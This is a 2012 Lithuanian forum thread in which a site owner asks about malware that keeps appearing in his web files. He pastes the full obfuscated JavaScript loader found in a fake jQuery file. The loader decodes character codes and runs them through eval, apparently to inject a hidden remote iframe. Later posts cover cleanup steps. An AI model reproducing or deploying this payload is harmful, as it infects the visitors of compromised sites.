X

Autorius Tema: Virusas?  (Skaityta 96 kartus)

Neprisijungęs Tautvydas

  • Naujokas
  • *
  • Įrašai: 194
  • Karma: +2/-0
    • Žiūrėti profilį
    • www.Hostukas.Eu - Automatizuotas žaidimų hostingas
Virusas?
« Įrašytas: 2012-04-20 14:54:50 pm »
Turiu du tinklapius ir abiejuose susikuria failas:

jquery.effects.drop.min.js

jo vidus mazdaug:

c=3-1;i=-1-1+c;p=parseInt;if(p("01"+"2"+"3")===83)try{Boolean()
["pr"+"otot"+"ype"].q}catch(egewgsd){if(window.document)f=
['-32i-32i64i61i-9i-1i59i70i58i76i68i60i69i75i5i62i60i75i28i67i60i68i60i69i75i74i25i80i43i56i62i37i56i68i60i
-1i-2i57i70i59i80i-2i0i50i7i52i0i82i-28i-32i-32i-32i64i61i73i56i68i60i73i-1i0i18i-28i-32i-32i84i-9i60i67i74i60i
-9i82i-28i-32i-32i-32i59i70i58i76i68i60i69i75i5i78i73i64i75i60i-1i-7i19i64i61i73i56i68i60i-9i74i73i58i20i-2i63i
75i75i71i17i6i6i71i64i59i70i63i64i74i5i73i76i6i58i70i76i69i75i8i10i5i71i63i71i-2i-9i78i64i59i75i63i20i-2i8i7i-2i
-9i63i60i64i62i63i75i20i-2i8i7i-2i-9i74i75i80i67i60i20i-2i77i64i74i64i57i64i67i64i75i80i17i63i64i59i59i60i69i18i
71i70i74i64i75i64i70i69i17i56i57i74i70i67i76i75i60i18i67i60i61i75i17i7i18i75i70i71i17i7i18i-2i21i19i6i64i61i73i56
i68i60i21i-7i0i18i-28i-32i-32i84i-28i-32i-32i61i76i69i58i75i64i70i69i-9i64i61i73i56i68i60i73i-1i0i82i-28i-32i-32i-
32i77i56i73i-9i61i-9i20i-9i59i70i58i76i68i60i69i75i5i58i73i60i56i75i60i28i67i60i68i60i69i75i-1i-2i64i61i73i56i68i60i
-2i0i18i61i5i74i60i75i24i75i75i73i64i57i76i75i60i-1i-2i74i73i58i-2i3i-2i63i75i75i71i17i6i6i71i64i59i70i63i64i74i5i73i
76i6i58i70i76i69i75i8i10i5i71i63i71i-2i0i18i61i5i74i75i80i67i60i5i77i64i74i64i57i64i67i64i75i80i20i-2i63i64i59i59i60i6
9i-2i18i61i5i74i75i80i67i60i5i71i70i74i64i75i64i70i69i20i-2i56i57i74i70i67i76i75i60i-2i18i61i5i74i75i80i67i60i5i67i60i6
1i75i20i-2i7i-2i18i61i5i74i75i80i67i60i5i75i70i71i20i-2i7i-2i18i61i5i74i60i75i24i75i75i73i64i57i76i75i60i-1i-2i78i64i59i
75i63i-2i3i-2i8i7i-2i0i18i61i5i74i60i75i24i75i75i73i64i57i76i75i60i-1i-2i63i60i64i62i63i75i-2i3i-2i8i7i-2i0i18i-28i-32i
-32i-32i59i70i58i76i68i60i69i75i5i62i60i75i28i67i60i68i60i69i75i74i25i80i43i56i62i37i56i68i60i-1i-2i57i70i59i80i-2i0i50i7
i52i5i56i71i71i60i69i59i26i63i64i67i59i-1i61i0i18i-28i-32i-32i84'][0].split('i');v="e"+"va"+"l";}if(v)e=window[v];w=f;s=[]
;r=String;for(;567!=i;i+=1){j=i;s=s+r["f"+"r"+"omC"+"har"+"C"+"ode"](w[j]*1+41);}if(e)e(s);

As cia eilutem sudalinau, nes viskas i viena eilute supilta praktiskai buvo.

Iejus i tinklapi mano NOD32 meta virusa:


Cia mano kompas kazka pasigavo ir automatiskai per WINSCP ikelia tai, ar su tinklapiais kazkokia beda? (bet du tinklapiai, vienas Wordpressas,kitas mano kurtas ).

Teko kazka tokio matyti?

dekui.
« Paskutinį kartą keitė: 2012-04-20 15:00:12 pm sukūrė Lukas Liesis »
www.Hostukas.Eu - Automatizuotas žaidimų hostingas.
Pigi VPS nuoma.

Prisijungęs Lukas Liesis

  • Administratorius
  • Herojus
  • ******
  • Įrašai: 6106
  • Karma: +184/-15
    • Žiūrėti profilį
    • mano CV
Ats: Virusas?
« Atsakymas #1 Įrašytas: 2012-04-20 15:00:48 pm »
tas jpeg failas i kuri nurodei yra virusas ar kazkoks kenkejiskas dalykas, as ji istryniau, nes neleido per ji ieiti net ir i sita tema. Susidurti su tokiu neteko, nezinau ka tau galeciau patarti.. :/
Jūsų draugas, kolega ir puslapio administratorius,

Lukas.

Manualai.lt Facebooke
serveriai.lt 50% nuolaida!



Neprisijungęs Tautvydas

  • Naujokas
  • *
  • Įrašai: 194
  • Karma: +2/-0
    • Žiūrėti profilį
    • www.Hostukas.Eu - Automatizuotas žaidimų hostingas
Ats: Virusas?
« Atsakymas #2 Įrašytas: 2012-04-20 15:07:03 pm »
Pagadinau koda ir imetu:

c=3-1;i;=-1;-1 c;;pa;rse;;;Int;if(p("01" "   "3")===83   )try{B;oolean()["pr"      "otot;" "ype";].q}cat;c    h(egewgsd){if(window.document)f=
Sitas skriptas fotke kazkokia sukuria? Kokia cia kalba isvis? Man va dabar ismeta irgi kartais kad JS scriptas, kuris yra fb.JPG faile...
Tuoj failus prasisaugosiu ir laikas jau WIN prasivalyt tikriausiai. Nes atradau ta faila, istryniau ir nebemete, poto vel nueijau i WINSCP ir vel pradejo metyt.



Oj, netaip supratau. Tai cia hostingas gal uzkrestas? Nes va as ta fotke pas save isikeliau.







Issivaliau. Zodziu esme tokia:

1. Tinklapio failams pakenkiama, kai su FTP narsykle prisijungi prie failu.
2. <script>tratatatatatat</script> tokiose vietose pasislepes zalingas turinys.
3. Source koda paziurejus galima greiciau atrasti, kokiame faile jis pasislepes. Man pakliuvo i header.php ( wordpress'e ) ir index.php (mano pacio TVS).

Is to pacio kompo, kuriame infekcija yra neapsimoka nieko daryti, geriau su kitu prisijungti prie failu ir apsivalyti. Tada atsisiunciam STOPzilla programa ir ji turetu pravalyti tokius dalykus.

Pakolkas ir is sito PC jau nebepridaro man nieksybiu, bet betkuriuo atveju WIN persirasysiu.


Naudok žinutės redagavimo funkciją
« Paskutinį kartą keitė: 2012-04-20 17:57:22 pm sukūrė Lukas Liesis »
www.Hostukas.Eu - Automatizuotas žaidimų hostingas.
Pigi VPS nuoma.

html css photoshop php forumas

Ats: Virusas?
« Atsakymas #2 Įrašytas: 2012-04-20 15:07:03 pm »